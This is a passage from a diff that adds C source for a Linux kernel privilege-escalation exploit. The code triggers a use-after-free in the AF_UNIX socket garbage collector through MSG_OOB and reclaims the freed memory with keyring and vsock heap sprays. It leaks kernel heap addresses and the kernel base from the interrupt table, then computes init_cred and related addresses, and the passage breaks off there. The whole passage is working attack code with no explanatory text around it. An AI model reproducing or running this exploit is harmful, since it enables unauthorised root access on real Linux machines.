pthread_cond_wait(&t->cond, &t->mutex); + + t->trigger_gc = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + union { + char buf[CMSG_SPACE(sizeof(int))]; + struct cmsghdr align; + } control_msg; + + int dummy_data = 0; + struct iovec iov = { .iov_base = &dummy_data, .iov_len = sizeof(int) }; + + struct msghdr msgh = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = control_msg.buf, + .msg_controllen = CMSG_SPACE(sizeof(int)), + //.msg_flags = MSG_OOB + }; + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + cmsgp->cmsg_level = SOL_SOCKET; + cmsgp->cmsg_type = SCM_RIGHTS; + cmsgp->cmsg_len = CMSG_LEN(sizeof(int)); + memcpy(CMSG_DATA(cmsgp), &t->wait_for_gc_fd, sizeof(int)); + + Close(t->trigger_gc_fd); + int ret = sendmsg(t->wait_for_gc_fd, &msgh, MSG_OOB); + if (!(ret == -1 && errno == EOPNOTSUPP)) { + fprintf(stderr, "Kernel function unix_dgram_sendmsg() implementation changed\n"); + exit(EXIT_FAILURE); + } + + t->trigger_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + + pthread_mutex_lock(&t->mutex); + t->gc_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void unix_gc_trigger(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->trigger_gc = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_wait(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->gc_complete) + pthread_cond_wait(&t->cond, &t->mutex); + + t->gc_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_thread_quit(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_thread_init(struct unix_gc_thread *t) +{ + t->trigger_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + t->wait_for_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, unix_gc_thread_fn, t); +} + +void unix_gc_thread_cleanup(struct unix_gc_thread *t) +{ + unix_gc_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); +} + +void exploit_kernel_unix_graph_prepare(struct exploit_kernel_unix_graph *p) +{ + p->stream_unix_socket_A_fd = Socket(AF_UNIX, SOCK_STREAM, 0); + p->stream_unix_socket_B_fd = Socket(AF_UNIX, SOCK_STREAM, 0); + p->stream_unix_socket_C_fd = -1; + p->dgram_unix_socket_D_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + + struct sockaddr_un auto_bind_addr = { .sun_family = AF_UNIX }; + Bind( + p->stream_unix_socket_A_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + Bind( + p->stream_unix_socket_B_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + Bind( + p->dgram_unix_socket_D_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + + Listen(p->stream_unix_socket_A_fd, 1); + + struct sockaddr_un socket_A_addr = {}; + socklen_t socket_A_addrlen = sizeof(socket_A_addr); + Getsockname(p->stream_unix_socket_A_fd, (struct sockaddr *)&socket_A_addr, &socket_A_addrlen); + Connect(p->stream_unix_socket_B_fd, (const struct sockaddr *)&socket_A_addr, socket_A_addrlen); +} + +void exploit_kernel_unix_graph_build_stage_1(struct exploit_kernel_unix_graph *p) +{ + u8 dummy = 0; + sendfds( + p->stream_unix_socket_B_fd, + &dummy, + sizeof(dummy), + (int *)&p->stream_unix_socket_B_fd, + 1, + (struct sockaddr_un){}, + 0 + ); +} + +void exploit_kernel_unix_graph_build_stage_2(struct exploit_kernel_unix_graph *p) +{ + p->stream_unix_socket_C_fd = Accept(p->stream_unix_socket_A_fd, NULL, NULL); + u8 dummy = 0; + + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_D_fd, (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_D_fd, + &dummy, + sizeof(dummy), + (int *)&p->stream_unix_socket_C_fd, + 1, + dst_addr, + dst_len + ); +} + +void exploit_kernel_unix_graph_cleanup(struct exploit_kernel_unix_graph *p) +{ + if (p->stream_unix_socket_A_fd != -1) { + Close(p->stream_unix_socket_A_fd); + p->stream_unix_socket_A_fd = -1; + } + + if (p->stream_unix_socket_B_fd != -1) { + Close(p->stream_unix_socket_B_fd); + p->stream_unix_socket_B_fd = -1; + } + + if (p->stream_unix_socket_C_fd != -1) { + Close(p->stream_unix_socket_C_fd); + p->stream_unix_socket_C_fd = -1; + } + + if (p->dgram_unix_socket_D_fd != -1) { + Close(p->dgram_unix_socket_D_fd); + p->dgram_unix_socket_D_fd = -1; + } +} + +void cyclic_kernel_unix_graph_prepare(struct cyclic_kernel_unix_graph *p) +{ + p->dgram_unix_socket_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + struct sockaddr_un addr = { .sun_family = AF_UNIX }; + Bind(p->dgram_unix_socket_fd, (const struct sockaddr *)&addr, offsetof(struct sockaddr_un, sun_path)); +} + +void cyclic_kernel_unix_graph_build(struct cyclic_kernel_unix_graph *p) +{ + u8 dummy = 0; + + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fd, (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fd, + &dummy, + sizeof(dummy), + &p->dgram_unix_socket_fd, + 1, + dst_addr, + dst_len + ); +} + +void cyclic_kernel_unix_graph_cleanup(struct cyclic_kernel_unix_graph *p) +{ + if (p->dgram_unix_socket_fd != -1) { + Close(p->dgram_unix_socket_fd); + p->dgram_unix_socket_fd = -1; + } +} + +void kernel_unix_vertex_spray_prepare(struct kernel_unix_vertex_spray *p, int spray_count) +{ + p->dgram_unix_socket_fds = (int *)Calloc(spray_count, sizeof(*p->dgram_unix_socket_fds)); + for (int i = 0; i < spray_count; i++) { + p->dgram_unix_socket_fds[i] = Socket(AF_UNIX, SOCK_DGRAM, 0); + struct sockaddr_un addr = {. sun_family = AF_UNIX }; + Bind(p->dgram_unix_socket_fds[i], (const struct sockaddr *)&addr, offsetof(struct sockaddr_un, sun_path)); + } + + p->vertex_count = spray_count; +} + +void kernel_unix_vertex_spray_trigger_alloc(struct kernel_unix_vertex_spray *p) +{ + u8 dummy = 0; + for (int i = 0; i < p->vertex_count; i++) { + if (i != p->vertex_count - 1) { + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fds[i + 1], (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + (int *)&p->dgram_unix_socket_fds[i], + 1, + dst_addr, + dst_len + ); + } else { + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fds[0], (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + (int *)&p->dgram_unix_socket_fds[i], + 1, + dst_addr, + dst_len + ); + } + } +} + +void kernel_unix_vertex_spray_trigger_free(struct kernel_unix_vertex_spray *p) +{ + u8 dummy = 0; + int tmp_fd = -1; + + for (int i = 0; i < p->vertex_count; i++) { + recvfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + &tmp_fd, + 1, + 0 + ); + + Close(tmp_fd); + } +} + +void kernel_unix_vertex_spray_cleanup(struct kernel_unix_vertex_spray *p) +{ + for (int i = 0; i < p->vertex_count; i++) { + if (p->dgram_unix_socket_fds[i] != -1) { + Close(p->dgram_unix_socket_fds[i]); + p->dgram_unix_socket_fds[i] = -1; + } + } + + free(p->dgram_unix_socket_fds); +} + +void prepare_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct cyclic_kernel_unix_graph *cyclic_kernel_unix_graph, + struct kernel_unix_vertex_spray *kernel_unix_vertex_spray, + struct unix_gc_thread *unix_gc_thread +) +{ + kernel_unix_vertex_spray_trigger_alloc(kernel_unix_vertex_spray); + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + kernel_unix_vertex_spray_trigger_free(kernel_unix_vertex_spray); + + exploit_kernel_unix_graph_build_stage_1(exploit_kernel_unix_graph); + cyclic_kernel_unix_graph_build(cyclic_kernel_unix_graph); + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + + exploit_kernel_unix_graph_build_stage_2(exploit_kernel_unix_graph); + + u8 detect_byte = UAF_OOB_SKB_BYTE_DATA; + Send( + exploit_kernel_unix_graph->stream_unix_socket_C_fd, + &detect_byte, + sizeof(detect_byte), + MSG_OOB + ); +} + +bool trigger_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct unix_gc_thread *unix_gc_thread +) +{ + Close(exploit_kernel_unix_graph->stream_unix_socket_B_fd); + exploit_kernel_unix_graph->stream_unix_socket_B_fd = -1; + + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + + u8 dummy = 0; + int stream_unix_socket_B_newfd = -1; + recvfds( + exploit_kernel_unix_graph->stream_unix_socket_C_fd, + &dummy, + sizeof(dummy), + (int *)&stream_unix_socket_B_newfd, + 1, + 0 + ); + + exploit_kernel_unix_graph->stream_unix_socket_B_fd = stream_unix_socket_B_newfd; + return uaf_success(stream_unix_socket_B_newfd); +} + +bool uaf_success(int victim_socket_fd) +{ + int inq_len = 0; + Ioctl(victim_socket_fd, SIOCINQ, (unsigned long)&inq_len); + + u8 dummy = 0; + int ret = recv(victim_socket_fd, &dummy, 1, MSG_OOB | MSG_PEEK); + + return (ret == 1 && inq_len == 0) || (ret == -1 && errno == EFAULT); +} + +void setup_nofile_rlimit(void) +{ + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + nofile_rlimit.rlim_cur = nofile_rlimit.rlim_max; + Setrlimit(RLIMIT_NOFILE, &nofile_rlimit); +} + +void vsock_autobind(int vsock_fd) +{ + struct sockaddr_vm addr = {}; + addr.svm_family = AF_VSOCK; + addr.svm_cid = VMADDR_CID_LOCAL; + addr.svm_port = VMADDR_PORT_ANY; + + int bind_ret = -1; + bool bind_success = false; + while (!bind_success) { + bind_ret = bind(vsock_fd, (const struct sockaddr *)&addr, sizeof(addr)); + if (bind_ret == 0) + bind_success = true; + } +} + +void vsock_force_next_autobind_fail(int vsock_fds[MAX_PORT_RETRIES]) +{ + int vsock_fd = Socket(AF_VSOCK, SOCK_STREAM, 0); + vsock_autobind(vsock_fd); + + struct sockaddr_vm addr = {}; + socklen_t addr_len = sizeof(addr); + Getsockname(vsock_fd, (struct sockaddr *)&addr, &addr_len); + Close(vsock_fd); + + u32 static_port_value = addr.svm_port + 1; + for (int i = 0; i < MAX_PORT_RETRIES; i++) { + struct sockaddr_vm new_addr = {}; + new_addr.svm_family = AF_VSOCK; + new_addr.svm_cid = VMADDR_CID_LOCAL; + + if (static_port_value == VMADDR_PORT_ANY || static_port_value <= LAST_RESERVED_PORT) { + static_port_value = LAST_RESERVED_PORT + 1; + } + + new_addr.svm_port = static_port_value++; + + bind(vsock_fds[i], (const struct sockaddr *)&new_addr, sizeof(new_addr)); + } +} + +void uaf_oob_skb_reclaim_prepare(int vsockpair[2], key_serial_t keys[TOTAL_USER_KEY_PAYLOAD_1]) +{ + int vsock_listener_fd = Socket(AF_VSOCK, SOCK_SEQPACKET, 0); + vsock_autobind(vsock_listener_fd); + Listen(vsock_listener_fd, 1); + + int vsock_A = Socket(AF_VSOCK, SOCK_SEQPACKET, 0); + + struct sockaddr_vm vsock_listener_addr = {}; + socklen_t vsock_listener_addr_len = sizeof(vsock_listener_addr); + Getsockname(vsock_listener_fd, (struct sockaddr *)&vsock_listener_addr, &vsock_listener_addr_len); + + int vsock_fds[MAX_PORT_RETRIES] = {}; + for (int i = 0; i < MAX_PORT_RETRIES; i++) + vsock_fds[i] = Socket(AF_VSOCK, SOCK_STREAM, 0); + + vsock_force_next_autobind_fail(vsock_fds); + + char user_key_payload_key_desc[128] = {}; + char user_key_payload_data[64] = {}; + + //memset(user_key_payload_data, 0x41, 64); + *(u32 *)(user_key_payload_data + SKB_LEN_OVERLAP_OFFSET) = 0; + *(u32 *)(user_key_payload_data + UNIXCB_CONSUMED_OFFSET) = 0; + *(u32 *)(user_key_payload_data + SKB_USERS_OFFSET) = 1; + + for (int i = 0; i < TOTAL_USER_KEY_PAYLOAD_1 / 2; i++) { + snprintf(user_key_payload_key_desc, sizeof(user_key_payload_key_desc), "key1_%d", i); + keys[i] = user_key_payload_alloc(user_key_payload_key_desc, user_key_payload_data, 64); + } + + int ret = connect(vsock_A, (const struct sockaddr *)&vsock_listener_addr, vsock_listener_addr_len); + assert(ret < 0 && errno == EADDRNOTAVAIL); + + for (int i = TOTAL_USER_KEY_PAYLOAD_1 / 2; i < TOTAL_USER_KEY_PAYLOAD_1; i++) { + snprintf(user_key_payload_key_desc, sizeof(user_key_payload_key_desc), "key_%d", i); + keys[i] = user_key_payload_alloc(user_key_payload_key_desc, user_key_payload_data, 64); + } + + Connect(vsock_A, (const struct sockaddr *)&vsock_listener_addr, vsock_listener_addr_len); + + int vsock_B = Accept(vsock_listener_fd, NULL, NULL); + + vsockpair[VSOCKPAIR_SEND_SIDE] = vsock_B; + vsockpair[VSOCKPAIR_RECV_SIDE] = vsock_A; + + for (int i = 0; i < MAX_PORT_RETRIES; i++) + Close(vsock_fds[i]); + + Close(vsock_listener_fd); +} + +void setup_uaf_oob_skb(struct unix_gc_thread *unix_gc_thread, int vsockpair[2], int *victim_unix_sockfd) +{ + bool overlap_success = false; + while (!overlap_success) { + struct cyclic_kernel_unix_graph cyclic_kernel_unix_graph = {}; + struct exploit_kernel_unix_graph exploit_kernel_unix_graph = {}; + struct kernel_unix_vertex_spray kernel_unix_vertex_spray = {}; + + bool uaf_success = false; + while (!uaf_success) { + cyclic_kernel_unix_graph_prepare(&cyclic_kernel_unix_graph); + exploit_kernel_unix_graph_prepare(&exploit_kernel_unix_graph); + kernel_unix_vertex_spray_prepare(&kernel_unix_vertex_spray, 25); + + prepare_uaf( + &exploit_kernel_unix_graph, + &cyclic_kernel_unix_graph, + &kernel_unix_vertex_spray, + unix_gc_thread + ); + + uaf_success = trigger_uaf(&exploit_kernel_unix_graph, unix_gc_thread); + + if (!uaf_success) { + cyclic_kernel_unix_graph_cleanup(&cyclic_kernel_unix_graph); + exploit_kernel_unix_graph_cleanup(&exploit_kernel_unix_graph); + kernel_unix_vertex_spray_cleanup(&kernel_unix_vertex_spray); + } + } + + fprintf(stderr, "uaf success\n"); + + int total_skb = 0; + for (int i = 0; i < 256 && !overlap_success; i++) { + u8 send_byte = RECLAIM_UAF_OOB_SKB_BYTE_DATA_1; + Send(vsockpair[VSOCKPAIR_SEND_SIDE], &send_byte, 1, 0); + total_skb++; + + u8 recv_byte = 0; + ssize_t recv_ret = recv( + exploit_kernel_unix_graph.stream_unix_socket_B_fd, + &recv_byte, + 1, + MSG_OOB | MSG_PEEK + ); + + if (recv_ret == 1 && recv_byte == send_byte) + overlap_success = true; + } + + fprintf(stderr, "overlap_success: %d - total_skb: %d\n", overlap_success, total_skb); + + int free_skb = (overlap_success) ? total_skb - 1 : total_skb; + while (free_skb) { + u8 byte = 0; + Recv(vsockpair[VSOCKPAIR_RECV_SIDE], &byte, 1, 0); + free_skb--; + } + + if (overlap_success) { + *victim_unix_sockfd = exploit_kernel_unix_graph.stream_unix_socket_B_fd; + exploit_kernel_unix_graph.stream_unix_socket_B_fd = -1; + } + + cyclic_kernel_unix_graph_cleanup(&cyclic_kernel_unix_graph); + exploit_kernel_unix_graph_cleanup(&exploit_kernel_unix_graph); + kernel_unix_vertex_spray_cleanup(&kernel_unix_vertex_spray); + } +} + +int main(void) +{ + pin_thread_on_cpu(0); + setup_nofile_rlimit(); + struct unix_gc_thread unix_gc_thread = {}; + unix_gc_thread_init(&unix_gc_thread); + + int vsock_listener_fd = Socket(AF_VSOCK, SOCK_STREAM, 0); + vsock_autobind(vsock_listener_fd); + Listen(vsock_listener_fd, 1); + + struct sockaddr_vm vsock_listener_addr = {}; + socklen_t vsock_listener_addr_len = sizeof(vsock_listener_addr); + Getsockname(vsock_listener_fd, (struct sockaddr *)&vsock_listener_addr, &vsock_listener_addr_len); + + int reclaim_invalid_free_vsockpairs[256][2] = {}; + for (int i = 0; i < 256; i++) { + reclaim_invalid_free_vsockpairs[i][0] = Socket(AF_VSOCK, SOCK_STREAM, 0); + + u64 buffer_max_size = 0xFFFFFFFF; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][0], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_MAX_SIZE, + &buffer_max_size, + sizeof(buffer_max_size) + ); + + u64 buffer_min_size = 0; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][0], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_MIN_SIZE, + &buffer_min_size, + sizeof(buffer_min_size) + ); + + u64 buffer_size = 0xFFFFFFFF; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][0], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_SIZE, + &buffer_size, + sizeof(buffer_size) + ); + } + + int vsockpair[2] = {}; + key_serial_t kmalloc_96_invalid_free_keys[TOTAL_USER_KEY_PAYLOAD_1] = {}; + uaf_oob_skb_reclaim_prepare(vsockpair, kmalloc_96_invalid_free_keys); + + int victim_unix_sockfd = -1; + setup_uaf_oob_skb(&unix_gc_thread, vsockpair, &victim_unix_sockfd); + + //wait_for_inspection("Enter to trigger"); + u8 dummy = 0; + recv(victim_unix_sockfd, &dummy, 1, MSG_OOB); + + key_serial_t lower_allocation_key; + for (int i = 0; i < TOTAL_USER_KEY_PAYLOAD_1; i++) { + long sz = keyctl_read(kmalloc_96_invalid_free_keys[i], NULL, 0); + if (sz != 64) { + lower_allocation_key = kmalloc_96_invalid_free_keys[i]; + fprintf(stderr, "sz: %ld\n", sz); + } else { + user_key_payload_free(kmalloc_96_invalid_free_keys[i]); + } + } + + sleep(1); + + for (int i = 0; i < 256; i++) { + Connect( + reclaim_invalid_free_vsockpairs[i][0], + (const struct sockaddr *)&vsock_listener_addr, + vsock_listener_addr_len + ); + + reclaim_invalid_free_vsockpairs[i][1] = Accept(vsock_listener_fd, NULL, NULL); + + u64 buffer_max_size = 0xFFFFFFFF; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][1], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_MAX_SIZE, + &buffer_max_size, + sizeof(buffer_max_size) + ); + + u64 buffer_min_size = 0; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][1], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_MIN_SIZE, + &buffer_min_size, + sizeof(buffer_min_size) + ); + + u64 buffer_size = 0xFFFFFFFF; + Setsockopt( + reclaim_invalid_free_vsockpairs[i][1], + AF_VSOCK, + SO_VM_SOCKETS_BUFFER_SIZE, + &buffer_size, + sizeof(buffer_size) + ); + } + + int reclaim_side_sockfd = -1; + int send_to_reclaim_side_sockfd = -1; + bool reclaim_invalid_free_success = false; + + for (int i = 0; i < 256 && !reclaim_invalid_free_success; i++) { + u8 tmp_buf[65536] = {}; + Send(reclaim_invalid_free_vsockpairs[i][0], tmp_buf, 65535, 0); + + long sz = keyctl_read(lower_allocation_key, NULL, 0); + if (sz == 65535) { + send_to_reclaim_side_sockfd = reclaim_invalid_free_vsockpairs[i][0]; + reclaim_invalid_free_vsockpairs[i][0] = -1; + reclaim_side_sockfd = reclaim_invalid_free_vsockpairs[i][1]; + reclaim_invalid_free_vsockpairs[i][1] = -1; + reclaim_invalid_free_success = true; + } else { + Send(reclaim_invalid_free_vsockpairs[i][1], tmp_buf, 65535, 0); + + sz = keyctl_read(lower_allocation_key, NULL, 0); + if (sz == 65535) { + Recv(reclaim_invalid_free_vsockpairs[i][1], tmp_buf, 65535, 0); + + send_to_reclaim_side_sockfd = reclaim_invalid_free_vsockpairs[i][1]; + reclaim_invalid_free_vsockpairs[i][1] = -1; + reclaim_side_sockfd = reclaim_invalid_free_vsockpairs[i][0]; + reclaim_invalid_free_vsockpairs[i][0] = -1; + reclaim_invalid_free_success = true; + } + } + + if (reclaim_invalid_free_success) { + for (int j = 0; j < i; j++) { + Recv(reclaim_invalid_free_vsockpairs[j][0], tmp_buf, 65535, 0); + Recv(reclaim_invalid_free_vsockpairs[j][1], tmp_buf, 65535, 0); + } + } + } + + if (!reclaim_invalid_free_success) { + exit(0); + } + + char leak_buf[65535] = {}; + keyctl_read(lower_allocation_key, leak_buf, 65535); + + u64 skb_addr = *(u64 *)(leak_buf + 8); + u64 rx_queue_addr = *(u64 *)(leak_buf + 8 + 8); + + printf("[+] skb addr: 0x%016lx\n", skb_addr); + printf("[+] rx_queue addr: 0x%016lx\n", rx_queue_addr); + + void *p96 = leak_buf + 96 - sizeof(struct user_key_payload); + int remaining_bytes = 65535 - (96 - sizeof(struct user_key_payload)); + int kmalloc_96_obj_count = remaining_bytes / 96; + + bool found_two_adjacent_virtio_vsock_sock = false; + struct virtio_vsock_sock *vvs_lower = NULL; + struct virtio_vsock_sock *vvs_upper = NULL; + u64 vvs_lower_heap_addr = 0; + u64 vvs_upper_heap_addr = 0; + u64 vvs_lower_vsk_addr = 0; + u64 vvs_upper_vsk_addr = 0; + u64 lower_allocation_user_key_payload_addr = 0; + int vvs_lower_found_at_kmalloc_96_obj = -1; + int vvs_upper_found_at_kmalloc_96_obj = -1; + + for (int i = 0; i < kmalloc_96_obj_count - 1 && !found_two_adjacent_virtio_vsock_sock; i++) { + vvs_lower = (struct virtio_vsock_sock *)((uintptr_t)p96 + i * 96); + vvs_upper = (struct virtio_vsock_sock *)((uintptr_t)p96 + (i + 1) * 96); + if ( is_data_look_like_virtio_vsock_sock(vvs_lower) && + is_data_look_like_virtio_vsock_sock(vvs_upper)) { + + vvs_lower_heap_addr = (u64)(vvs_lower->rx_queue.next) - 64; + vvs_upper_heap_addr = (u64)(vvs_upper->rx_queue.next) - 64; + vvs_lower_vsk_addr = (u64)(vvs_lower->vsk); + vvs_upper_vsk_addr = (u64)(vvs_upper->vsk); + lower_allocation_user_key_payload_addr = vvs_lower_heap_addr - ((i + 1) * 96); + vvs_lower_found_at_kmalloc_96_obj = i; + vvs_upper_found_at_kmalloc_96_obj = i + 1; + found_two_adjacent_virtio_vsock_sock = true; + } + } + + printf("[+] vvs_lower: 0x%016lx\n", vvs_lower_heap_addr); + printf("[+] vvs_upper: 0x%016lx\n", vvs_upper_heap_addr); + printf("[+] vvs_lower_vsk_addr: 0x%016lx\n", vvs_lower_vsk_addr); + printf("[+] vvs_upper_vsk_addr: 0x%016lx\n", vvs_upper_vsk_addr); + printf("[+] lower_allocation_user_key_payload_addr: 0x%016lx\n", lower_allocation_user_key_payload_addr); + + int usable_vsock_fds[512] = {}; + for (int i = 0; i < 512; i++) { + usable_vsock_fds[i] = -1; + } + + int usable_vsock_fds_idx = 0; + for (int i = 0; i < 256; i++) { + for (int j = 0; j < 2; j++) { + if (reclaim_invalid_free_vsockpairs[i][j] != -1) { + usable_vsock_fds[usable_vsock_fds_idx++] = reclaim_invalid_free_vsockpairs[i][j]; + } + } + } + + bool found_leaked_vvs_lower_fd = false; + int leaked_vvs_lower_fd = -1; + + for (int i = 0; i < usable_vsock_fds_idx && !found_leaked_vvs_lower_fd; i++) { + u64 buffer_size = 0xcafebabe; + Setsockopt(usable_vsock_fds[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &buffer_size, sizeof(buffer_size)); + keyctl_read(lower_allocation_key, leak_buf, 65535); + + p96 = leak_buf + 96 - sizeof(struct user_key_payload); + vvs_lower = (struct virtio_vsock_sock *)((uintptr_t)p96 + vvs_lower_found_at_kmalloc_96_obj * 96); + if (vvs_lower->buf_alloc == 0xcafebabe) { + leaked_vvs_lower_fd = usable_vsock_fds[i]; + found_leaked_vvs_lower_fd = true; + } + } + + bool found_leaked_vvs_upper_fd = false; + int leaked_vvs_upper_fd = -1; + + for (int i = 0; i < usable_vsock_fds_idx && !found_leaked_vvs_upper_fd; i++) { + u64 buffer_size = 0xbabecafe; + Setsockopt(usable_vsock_fds[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &buffer_size, sizeof(buffer_size)); + keyctl_read(lower_allocation_key, leak_buf, 65535); + + p96 = leak_buf + 96 - sizeof(struct user_key_payload); + vvs_upper = (struct virtio_vsock_sock *)((uintptr_t)p96 + vvs_upper_found_at_kmalloc_96_obj * 96); + if (vvs_upper->buf_alloc == 0xbabecafe) { + leaked_vvs_upper_fd = usable_vsock_fds[i]; + found_leaked_vvs_upper_fd = true; + } + } + + printf("leaked_vvs_lower_fd: %d\n", leaked_vvs_lower_fd); + printf("leaked_vvs_upper_fd: %d\n", leaked_vvs_upper_fd); + + char fake_skb_lower_key_desc[128] = {}; + char fake_skb_lower_data[64] = {}; + /* + *(u32 *)(fake_skb_lower_data + 8) = 1280; // skb->len + *(u32 *)(fake_skb_lower_data + 12) = 0; // skb->datalen + */ + + *(u32 *)(fake_skb_lower_data + 32) = 4096; // skb->len + *(u32 *)(fake_skb_lower_data + 36) = 0; // skb->datalen + key_serial_t fake_skb_lower_keys[TOTAL_USER_KEY_PAYLOAD_2] = {}; + bool fake_skb_lower_success = false; + + Close(leaked_vvs_lower_fd); + + for (int i = 0; i < TOTAL_USER_KEY_PAYLOAD_2 && !fake_skb_lower_success; i++) { + snprintf(fake_skb_lower_key_desc, sizeof(fake_skb_lower_key_desc), "key3_%d", i); + fake_skb_lower_keys[i] = user_key_payload_alloc(fake_skb_lower_key_desc, fake_skb_lower_data, 64); + keyctl_read(lower_allocation_key, leak_buf, 65535); + p96 = leak_buf + 96 - sizeof(struct user_key_payload); + void *fake_skb_lower_data_in_kernel = (void *)((uintptr_t)p96 + vvs_lower_found_at_kmalloc_96_obj * 96 + sizeof(struct user_key_payload)); + if (memcmp(fake_skb_lower_data_in_kernel, fake_skb_lower_data, 64) == 0) { + printf("fake_skb_lower_success\n"); + fake_skb_lower_success = true; + } + } + + char fake_skb_upper_key_desc[128] = {}; + char fake_skb_upper_data[64] = {}; + *(u64 *)(fake_skb_upper_data + 24) = 0xfffffe0000000000UL; // skb->data + + // *(u64 *)(fake_skb_upper_data) = 0xfffffe0000000000UL; // skb->data + + key_serial_t fake_skb_upper_keys[TOTAL_USER_KEY_PAYLOAD_3] = {}; + bool fake_skb_upper_success = false; + + Close(leaked_vvs_upper_fd); + + key_serial_t fake_skb_upper_key = -1; + + for (int i = 0; i < TOTAL_USER_KEY_PAYLOAD_3 && !fake_skb_upper_success; i++) { + snprintf(fake_skb_upper_key_desc, sizeof(fake_skb_upper_key_desc), "key4_%d", i); + fake_skb_upper_keys[i] = user_key_payload_alloc(fake_skb_upper_key_desc, fake_skb_upper_data, 64); + keyctl_read(lower_allocation_key, leak_buf, 65535); + p96 = leak_buf + 96 - sizeof(struct user_key_payload); + void *fake_skb_upper_data_in_kernel = (void *)((uintptr_t)p96 + vvs_upper_found_at_kmalloc_96_obj * 96 + sizeof(struct user_key_payload)); + if (memcmp(fake_skb_upper_data_in_kernel, fake_skb_upper_data, 64) == 0) { + fprintf(stderr, "fake_skb_upper_success\n"); + + for (int j = 0; j < i; j++) { + user_key_payload_free(fake_skb_upper_keys[j]); + } + + fake_skb_upper_key = fake_skb_upper_keys[i]; + fake_skb_upper_success = true; + } + } + + user_key_payload_free(lower_allocation_key); + sleep(1); + + char fake_rx_queue_key_desc[128] = {}; + char fake_rx_queue_data[64] = {}; + + //*(u64 *)(fake_rx_queue_data + 8) = vvs_lower_heap_addr + sizeof(struct user_key_payload )- 0x70 + 8; // rx_queue.next + *(u64 *)(fake_rx_queue_data + 8) = vvs_lower_heap_addr + sizeof(struct user_key_payload )- 0x70 + 8 + 16 + 8; // rx_queue.next + *(u64 *)(fake_rx_queue_data + 16) = vvs_lower_heap_addr + sizeof(struct user_key_payload )- 0x70 + 8 + 16 + 8; + + key_serial_t fake_rx_queue_keys[64]; + for (int i = 0; i < 64; i++) { + snprintf(fake_rx_queue_key_desc, sizeof(fake_rx_queue_key_desc), "key5_%d", i); + fake_rx_queue_keys[i] = user_key_payload_alloc(fake_rx_queue_key_desc, fake_rx_queue_data, 64); + } + + //wait_for_inspection("Enter to peek fake skb"); + + u8 vsk_leak_buffer[4096] = {}; + recv(reclaim_side_sockfd, vsk_leak_buffer, 4096, MSG_PEEK); + struct gate_struct *idt_entry = (struct gate_struct *)vsk_leak_buffer; + unsigned long divide_error_handler_addr = + (((u64)idt_entry->offset_high ) << 32) | + (((u64)idt_entry->offset_middle) << 16) | + (((u64)idt_entry->offset_low ) << 0); + printf("#DE handler at 0x%lx\n", divide_error_handler_addr); + + u64 kernel_base = divide_error_handler_addr - asm_exc_divide_error_offset_from_kernel_base; + printf("[+] kernel base: 0x%016lx\n", kernel_base); + + init_task += kernel_base; + printf("[+] init_task: 0x%016lx\n", init_task); + + init_cred += kernel_base; + printf("[+] init_cred: 0x%016lx\n", init_cred); + + init_fs += kernel_base; + printf("[+] init_fs: 0x%016lx\n", init_fs); + + 